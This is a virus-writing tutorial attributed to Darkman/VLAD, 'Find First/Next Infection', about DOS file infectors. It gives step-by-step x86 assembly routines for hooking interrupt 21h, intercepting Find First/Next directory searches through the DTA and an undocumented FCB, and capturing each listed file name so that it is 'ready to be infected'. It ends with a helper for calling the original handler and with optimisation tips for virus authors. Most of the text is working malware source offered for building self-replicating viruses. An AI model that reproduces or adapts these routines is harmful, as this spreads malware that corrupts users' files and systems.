
	   F I N D   F I R S T / N E X T   I N F E C T I O N
			"Aggressive replication"
			       Written by
			      Darkman/VLAD


----------------------------------------------------------------
How to get the filename from Find First/Next Matching File (DTA)
----------------------------------------------------------------

The below steps must be followed to get the filename from DTA:

  1. If Find First Matching File (4Eh), then get the path and then...
  2. Call original interrupt 21h.
  3. Get the Disk Transfer Address (DTA).
  4. Get the filename.
  5. RETurn from interrupt 21h.

----------------------------------------------------------------
If Find First Matching File (4Eh), then get the path and then...
----------------------------------------------------------------

  The below code shows an example of how get the path of the filename:

;------------------------------------------------------------=< cut here >=-
	     lea     di,filename         ; DI = offset of filename
	     mov     si,dx
	     push    cs                  ; Save CS at stack
	     pop     es                  ; Load ES from stack (CS)
	     mov     filenameoff,di      ; Store offset of filename
movepathdta:
	     lodsb                       ; Load a byte of path
	     or      al,al               ; End of path?
	     je      pathdtaexit         ; Equal? Jump to pathdtaexit
	     stosb                       ; Store a byte of path

	     cmp     al,':'              ; Possible end of path?
	     je      setnameoff          ; Equal? Jump to setnameoff
	     cmp     al,'\'              ; Possible end of path?
	     jne     movepathdta         ; Not equal? Jump to movepathdta
setnameoff:
	     mov     filenameoff,di      ; Store offset of filename
	     jmp     movepathdta
pathdtaexit:
;------------------------------------------------------------=< cut here >=-

  This code presumes that a variable of 76 bytes called filename and a
variable of a word called filenameoff exists. Remember to PUSH and POP the
used registers before and after the code.

---------------------------
Call original interrupt 21h
---------------------------

  The below code shows an example of how to call the original interrupt 21h:

;------------------------------------------------------------=< cut here >=-
	     call    simint21            ; Do it!
;------------------------------------------------------------=< cut here >=-

  This code presumes a procedure called simint21 exists. Remember to POP and
PUSH the used registers before and after the code.

-----------------------------------
Get the Disk Transfer Address (DTA)
-----------------------------------

  The below code shows an example of how to get the Disk Transfer Area (DTA):

;------------------------------------------------------------=< cut here >=-
	     mov     ah,2fh              ; Get Disk Transfer Address (DTA)
	     int     21h                 ; Do it!
;------------------------------------------------------------=< cut here >=-

----------------
Get the filename
----------------

  The below code shows an example of how to get the filename:

;------------------------------------------------------------=< cut here >=-
	     mov     di,filenameoff      ; DI = offset of filename
	     mov     si,bx
	     add     si,1eh              ; SI = offset of filename (DTA)
	     push    es                  ; Save ES at stack
	     pop     ds                  ; Load DS from stack (ES)
	     push    cs                  ; Save CS at stack
	     pop     es                  ; Load ES from stack (CS)
movenamedta:
	     lodsb                       ; Load a byte of filename (DTA)
	     stosb                       ; Store a byte of filename
	     or      al,al               ; End of filename?
	     jne     movenamedta         ; Not equal? Jump to movenamedta
;------------------------------------------------------------=< cut here >=-

  This code presumes that a variable of a word called filenameoff exists. The
filename with full path is in the 76 bytes variable called filename and ready
to be infected.

-------------------------
RETurn from interrupt 21h
-------------------------

  The below code shows an example of how to return from interrupt 21h:

;------------------------------------------------------------=< cut here >=-
	     retf    02h                 ; Return far and pop a word!
;------------------------------------------------------------=< cut here >=-

  Remember to POP the used registers before this code.

----------------------------------------------------------------
How to get the filename from Find First/Next Matching File (FCB)
----------------------------------------------------------------

The below steps must be followed to get the filename from DTA:

  1. Check if the path is shown. If it is, get the path and then...
  2. Call original interrupt 21h.
  3. Check if the FCB is extended. If it is, move the offset.
  4. Get the filename.
  5. Get the extension.
  6. Create a ASCIIZ filename.
  7. RETurn from interrupt 21h.

--------------------------------------------------------------
Check if the path is shown. If it is, get the path and then...
--------------------------------------------------------------

  The below code shows an example of how to check if the path is shown and if
it is, how to get the path:

;------------------------------------------------------------=< cut here >=-
	     mov     si,dx
	     add     si,0a4cfh           ; SI = offset of FCB
	     cmp     byte ptr [si+01h],':'
	     jne     realfcb             ; Not equal? Jump to realfcb

	     lea     di,filename         ; DI = offset of filename
	     push    cs                  ; Save CS at stack
	     pop     es                  ; Load ES from stack (CS)
movepathfcb:
	     lodsb                       ; Load a byte of path
	     or      al,al               ; End of path?
	     je      pathfcbexit         ; Equal? Jump to pathfcbexit
	     stosb                       ; Store a byte of path
	     jmp     movepathfcb
pathfcbexit:
	     mov     al,'\'
	     stosb                       ; Store the last byte of the path
	     mov     filenameoff,di      ; Store offset of filename
;------------------------------------------------------------=< cut here >=-

  This code presumes that a variable of 76 bytes called filename and a
variable of a word called filenameoff exists. Remember to PUSH and POP the
used registers before and after the code.

---------------------------
Call original interrupt 21h
---------------------------

  The below code shows an example of how to call the original interrupt 21h:

;------------------------------------------------------------=< cut here >=-
	     call    simint21            ; Do it!
;------------------------------------------------------------=< cut here >=-

  This code presumes a procedure called simint21 exists. Remember to POP and
PUSH the used registers before and after the code.

-------------------------------------------------------
Check if the FCB is extended. If it is, move the offset
-------------------------------------------------------

  The below code shows an example of how to check if the FCB is extended and
if it is, how to move the offset:

;------------------------------------------------------------=< cut here >=-
	     cld                         ; Clear direction flag

	     add     dx,0a4cfh           ; DX = offset of FCB
	     mov     si,dx
	     lodsb                       ; Load a byte of FCB
	     dec     si                  ; Decrease SI

	     cmp     al,0ffh             ; Extended FCB ID
	     jne     initmovefcb         ; Not equal? Jump to initmovefcb
	     add     si,07h              ; SI = offset of extended FCB
initmovefcb:
;------------------------------------------------------------=< cut here >=-

----------------
Get the filename
----------------

  The below code shows an example of how to get the filename:

;------------------------------------------------------------=< cut here >=-
	     mov     cx,08h              ; Move 8 bytes
	     mov     di,filenameoff      ; DI = offset of filename
	     inc     si                  ; SI = offset of filename (FCB)
	     push    cs                  ; Save CS at stack
	     pop     es                  ; Load ES from stack (CS)
movenamefcb:
	     lodsb                       ; Load a byte of filename (FCB)
	     cmp     al,' '              ; End of filename?
	     je      createext           ; Equal? Jump to createext
	     stosb                       ; Store a byte of filename
	     loop    movenamefcb
	     inc     si                  ; Increase SI
createext:
;------------------------------------------------------------=< cut here >=-

  This code presumes that a variable of 76 bytes called filename and a
variable of a word called filenameoff exists.

-----------------
Get the extension
-----------------

  The below code shows an example of how to get the extension:

;------------------------------------------------------------=< cut here >=-
	     mov     al,'.'
	     dec     si                  ; Decrease SI
	     add     si,cx               ; SI = offset of extension (FCB)
	     stosb                       ; Create .COM extension
	     movsw                       ; Move extension
	     movsb                       ;  "       "
;------------------------------------------------------------=< cut here >=-

-------------------------
Create an ASCIIZ filename
-------------------------

  The below code shows an example of how to create an ASCIIZ filename:

;------------------------------------------------------------=< cut here >=-
	     xor     al,al               ; Clear AL
	     stosb                       ; Create an ASCIIZ filename
;------------------------------------------------------------=< cut here >=-

  The filename with full path is in the 76 bytes variable called filename and
ready to be infected.

-------------------------
RETurn from interrupt 21h
-------------------------

  The below code shows an example of how to return from interrupt 21h:

;------------------------------------------------------------=< cut here >=-
	     retf    02h                 ; Return far and pop a word!
;------------------------------------------------------------=< cut here >=-

  Remember to POP the used registers before this code.

-------------------------------------
Disk Transfer Address (DTA) structure
-------------------------------------

  The above Find First/Next Matching File (DTA) infector is using the normal
DTA. This is the DTA structure:

	       -----------------------------------------
	       Offset Length Field
	       -----------------------------------------
		 00     01   Drive letter
		01-0B   0B   Search template
		0C-14   09   Reserved
		 15     01   File attribute
		16-17   02   File time
		18-19   02   File date
		1A-1D   04   File size
		1E-3A   0D   ASCIIZ filename + extension
	       -----------------------------------------

----------------------------------
File Control Block (FCB) structure
----------------------------------

  The above Find First/Next Matching File (FCB) infector does not use the
usual File Control Block (FCB), but a undocumented FCB. This FCB is placed
42191 bytes above the opened FCB. This is FCB structure:

		       --------------------------
		       Offset Length Field
		       --------------------------
			 00     01   Drive code
			01-08   08   Filename
			09-0B   03   Extension
			0C-16   0B   Undocumented
			17-18   02   File time
			19-1A   02   File date
			1B-1C   02   Undocumented
			1D-20   04   File size
		       --------------------------

  This FCB is not the same as the usual FCB.

  If the FCB is extended; then the first fields of the structure will look
like this:

		     -----------------------------
		     Offset Length Field
		     -----------------------------
		       00     01   Extended FCB ID
		      01-05   05   Reserved
		       06     01   File attribute
		     -----------------------------

  Then the normal FCB will begin after the extended FCB at offset 07.

----------------------------------------------------
Necessary labels, variables and code to the examples
----------------------------------------------------

  The above examples presumes that a variable of 76 bytes called filename
exists. This variable holds the filename with full path of the FCB/DTA
filename. It should look like this:

filename     db      4ch dup(?)          ; DTA/FCB filename

  The above examples presumes that a variable of a word called filenameoff
exists. This variable holds the offset of the filename, which is placed after
the path. It should look like this:

filenameoff  dw      ?                   ; Offset of DTA/FCB filename

  The above examples presumes that a procedure called simint21 exists. This
procedure will call the original interrupt 21h. This is done because we have
intercepted interrupt 21h. It should look like this:

simint21     proc    near                ; Simulate interrupt 21h
	     pushf                       ; Save flags at stack
callfar      db      9ah                 ; Object code of a far call
int21adr     dd      0                   ; Address of interrupt 21h
	     ret                         ; Return!
	     endp

  However the address of the original interrupt should be placed in the
variable with the name int21adr.

---------------------
Final tips and tricks
---------------------

- The mentioned variables do not have to be in the code, just in the memory.
- If you replicate both ways then don't return twice, just jump to a return.
- Remember to optimize your code.


